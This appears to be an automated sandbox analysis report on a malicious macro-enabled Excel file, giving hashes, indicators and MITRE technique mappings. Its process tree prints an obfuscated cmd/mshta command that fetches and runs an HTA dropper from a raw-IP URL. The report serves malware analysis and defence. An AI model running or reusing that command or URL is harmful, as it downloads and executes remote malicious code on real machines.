d269a36950ba2005038fd496158bbcc4ccfdbacdc9eb96a4e823d973ebca9c8b

General

Target

d269a36950ba2005038fd496158bbcc4ccfdbacdc9eb96a4e823d973ebca9c8b.xlsm
Size

112KB
MD5

053f14a5b426e59114e1d03032de2c84
SHA1

06a9f5543017c46a7a89abbc3c8a3add7f8fa3f3
SHA256

d269a36950ba2005038fd496158bbcc4ccfdbacdc9eb96a4e823d973ebca9c8b
SHA512

e04eb2bb27f8d9f6a9949a7d8e1f60f7685d2166fc5e0510297126b16973579d8cc9ef7654a0fc6e34e5036f15edae8c8b009360876ae868d9e5a08eab906452

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://92.255.57.195/ru/ru.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1184	3920	cmd.exe	67

Blocklisted process makes network request 1 IoCs

flow	pid	Process
43	2304	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3920	EXCEL.EXE

Suspicious use of SetWindowsHookEx 20 IoCs

pid	Process
3920	EXCEL.EXE
3920	EXCEL.EXE
3920	EXCEL.EXE
3920	EXCEL.EXE
3920	EXCEL.EXE
3920	EXCEL.EXE
3920	EXCEL.EXE
3920	EXCEL.EXE
3920	EXCEL.EXE
3920	EXCEL.EXE
3920	EXCEL.EXE
3920	EXCEL.EXE
3920	EXCEL.EXE
3920	EXCEL.EXE
3920	EXCEL.EXE
3920	EXCEL.EXE
3920	EXCEL.EXE
3920	EXCEL.EXE
3920	EXCEL.EXE
3920	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 3920 wrote to memory of 1184	3920	EXCEL.EXE	71
PID 3920 wrote to memory of 1184	3920	EXCEL.EXE	71
PID 1184 wrote to memory of 2304	1184	cmd.exe	73
PID 1184 wrote to memory of 2304	1184	cmd.exe	73

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\d269a36950ba2005038fd496158bbcc4ccfdbacdc9eb96a4e823d973ebca9c8b.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3920
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/92.255.57.195/ru/ru.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:1184
- - C:\Windows\system32\mshta.exe
    mshta http://92.255.57.195/ru/ru.html
    3⤵
    - Blocklisted process makes network request
    PID:2304

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/3920-114-0x00007FFEEF820000-0x00007FFEEF830000-memory.dmp

Filesize
64KB

Download
memory/3920-115-0x00007FFEEF820000-0x00007FFEEF830000-memory.dmp

Filesize
64KB

Download
memory/3920-116-0x00007FFEEF820000-0x00007FFEEF830000-memory.dmp

Filesize
64KB

Download
memory/3920-117-0x00007FFEEF820000-0x00007FFEEF830000-memory.dmp

Filesize
64KB

Download
memory/3920-118-0x00007FFEEF820000-0x00007FFEEF830000-memory.dmp

Filesize
64KB

Download
memory/3920-127-0x00007FFEEC6D0000-0x00007FFEEC6E0000-memory.dmp

Filesize
64KB

Download
memory/3920-128-0x00007FFEEC6D0000-0x00007FFEEC6E0000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads